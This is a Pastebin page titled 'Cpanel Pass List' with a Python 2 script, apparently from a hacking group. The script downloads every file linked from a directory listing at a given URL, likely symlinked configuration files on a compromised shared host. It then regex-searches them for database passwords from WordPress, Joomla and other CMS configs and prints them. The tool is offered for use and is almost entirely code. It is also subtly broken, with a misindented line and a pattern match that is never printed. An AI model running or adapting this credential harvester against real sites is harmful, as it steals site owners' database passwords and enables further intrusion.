long_term

Cpanel Pass List

Jul 22nd, 2014
397
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.06 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. '''
  4. By: Ahmed Shawky aka lnxg33k
  5. thx: Obzy, Relik, mohab and #arabpwn
  6. '''
  7.  
  8. import sys
  9. import os
  10. import re
  11. import subprocess
  12. import urllib
  13. import glob
  14. from platform import system
  15.  
  16. if len(sys.argv) != 3:
  17.   print'''    
  18. Usage: %s [URL...] [directory...]
  19. Ex) %s http://www.test.com/test/ [dir ...]''' % (sys.argv[0], sys.argv[0])
  20.   sys.exit(1)
  21.  
  22. site = sys.argv[1]
  23. fout = sys.argv[2]
  24.  
  25. try:
  26.   req  = urllib.urlopen(site)
  27.   read = req.read()
  28.   if system() == 'Linux':
  29.     f = open('/tmp/data.txt', 'w')
  30.     f.write(read)
  31.     f.close()
  32.   if system() == 'Windows':
  33.     f = open('data.txt', 'w')  
  34.     f.write(read)
  35.     f.close()
  36.  
  37.   i = 0
  38.   if system() == 'Linux':
  39.     f = open('/tmp/data.txt', 'rU')
  40.     for line in f:
  41.       if line.startswith('<li><a') == True :
  42.         m = re.search(r'(<a href=")(.+[^>])(">)', line)
  43.         i += 1
  44.         local_name = '%s/file%d.txt' % (fout, i)
  45.         print 'Retrieving...\t\t', site + m.group(2)
  46.         try:  urllib.urlretrieve(site + m.group(2), local_name)
  47.         except IOError:
  48.           print '\n[%s] doesn\'t exist, create it first' % fout
  49.           sys.exit()
  50.       if line.startswith('<img') == True:
  51.         m1 = re.search(r'(<a href=")(.+[^>])(">)', line)
  52.         i += 1
  53.         local_name = '%s/file%d.txt' % (fout, i)
  54.         print 'Retrieving...\t\t', site + m1.group(2)
  55.         try:  urllib.urlretrieve(site + m1.group(2), local_name)
  56.         except IOError:
  57.           print '\n[%s] doesn\'t exist, create it first' % fout
  58.           sys.exit()
  59.       if line.startswith('<IMG') == True:
  60.         m2 = re.search(r'(<A HREF=")(.+[^>])(">)', line)
  61.         i += 1
  62.         local_name = '%s/file%d.txt' % (fout, i)
  63.         print 'Retrieving...\t\t', site + m2.group(2)
  64.         try:  urllib.urlretrieve(site + m2.group(2), local_name)
  65.         except IOError:
  66.           print '\n[%s] doesn\'t exist, create it first' % fout
  67.           sys.exit()
  68.     f.close()
  69.   if system() == 'Windows':
  70.     f = open('data.txt', 'rU')
  71.     for line in f:
  72.       if line.startswith('<li><a') == True :
  73.         m = re.search(r'(<a href=")(.+[^>])(">)', line)
  74.         i += 1
  75.         local_name = '%s/file%d.txt' % (fout, i)
  76.         print 'Retrieving...\t\t', site + m.group(2)
  77.         try:  urllib.urlretrieve(site + m.group(2), local_name)
  78.         except IOError:
  79.           print '\n[%s] doesn\'t exist, create it first' % fout
  80.           sys.exit()
  81.       if line.startswith('<img') == True:
  82.         m1 = re.search(r'(<a href=")(.+[^>])(">)', line)
  83.         i += 1
  84.         local_name = '%s/file%d.txt' % (fout, i)
  85.         print 'Retrieving...\t\t', site + m1.group(2)
  86.         try:  urllib.urlretrieve(site + m1.group(2), local_name)
  87.         except IOError:
  88.           print '\n[%s] doesn\'t exist, create it first' % fout
  89.           sys.exit()
  90.       if line.startswith('<IMG') == True:
  91.         m2 = re.search(r'(<A HREF=")(.+[^>])(">)', line)
  92.         i += 1
  93.         local_name = '%s/file%d.txt' % (fout, i)
  94.         print 'Retrieving...\t\t', site + m2.group(2)
  95.         try:  urllib.urlretrieve(site + m2.group(2), local_name)
  96.         except IOError:
  97.           print '\n[%s] doesn\'t exist, create it first' % fout
  98.           sys.exit()
  99.     f.close()
  100.   if system() == 'Linux':
  101.     cleanup = subprocess.Popen('rm -rf /tmp/data.txt > /dev/null', shell=True).wait()
  102.   if system() == 'Windows':
  103.     cleanup = subprocess.Popen('del C:\data.txt', shell=True).wait()
  104.   print '\n', '-' * 100, '\n'
  105.   if system() == 'Linux':
  106.     for root, dirs, files in os.walk(fout):
  107.       for fname in files:
  108.         fullpath = os.path.join(root, fname)
  109.         f = open(fullpath, 'r')
  110.         for line in f:
  111.           secr = re.search (r"(db_password'] = ')(.+[^>])(';)", line)
  112.           if secr is not None: print (secr.group(2))  
  113.           secr1 = re.search(r"(password = ')(.+[^>])(';)", line)
  114.           if secr1 is not None:  print  (secr1.group(2))
  115.           secr2 = re.search(r"(DB_PASSWORD')(...)(.+[^>])(')", line)
  116.           if secr2 is not None: print (secr2.group(3))
  117.           secr3 = re.search (r"(dbpass =..)(.+[^>])(.;)", line)
  118.           if secr3 is not None: print (secr3.group(2))
  119.           secr4 = re.search (r"(DBPASSWORD = ')(.+[^>])(.;)", line)
  120.           if secr4 is not None: print (secr4.group(2))
  121.           secr5 = re.search (r"(DBpass = ')(.+[^>])(';)", line)
  122.           if secr5 is not None: print (secr5.group(2))
  123.           secr6 = re.search (r"(dbpasswd = ')(.+[^>])(';)", line)
  124.           if secr6 is not None: print (secr6.group(2))
  125.           secr7 = re.search (r"(mosConfig_password = ')(.+[^>])(';)", line)
  126.           if secr7 is not None: print (secr7.group(2))
  127.       secr8 = re.search (r"(DBASE_PASS = ')(.+[^>])(';)", line)
  128.           if secr7 is not None: print (secr7.group(2))
  129.         f.close()
  130.   if system() == 'Windows':
  131.     for infile in glob.glob( os.path.join(fout, '*.txt') ):
  132.       f = open(infile, 'r')
  133.       for line in f:
  134.         secr = re.search (r"(db_password'] = ')(.+[^>])(';)", line)
  135.         if secr is not None: print (secr.group(2))  
  136.         secr1 = re.search(r"(password = ')(.+[^>])(';)", line)
  137.         if secr1 is not None:  print  (secr1.group(2))
  138.         secr2 = re.search(r"(DB_PASSWORD')(...)(.+[^>])(')", line)
  139.         if secr2 is not None: print (secr2.group(3))
  140.         secr3 = re.search (r"(dbpass =..)(.+[^>])(.;)", line)
  141.         if secr3 is not None: print (secr3.group(2))
  142.         secr4 = re.search (r"(DBPASSWORD = ')(.+[^>])(.;)", line)
  143.         if secr4 is not None: print (secr4.group(2))
  144.         secr5 = re.search (r"(DBpass = ')(.+[^>])(';)", line)
  145.         if secr5 is not None: print (secr5.group(2))
  146.         secr6 = re.search (r"(dbpasswd = ')(.+[^>])(';)", line)
  147.         if secr6 is not None: print (secr6.group(2))
  148.         secr7 = re.search (r"(mosConfig_password = ')(.+[^>])(';)", line)
  149.         if secr7 is not None: print (secr7.group(2))
  150.       f.close()
  151. except (KeyboardInterrupt):
  152.   print '\nThanks for using it ._^'
Advertisement
Add Comment
Please, Sign In to add comment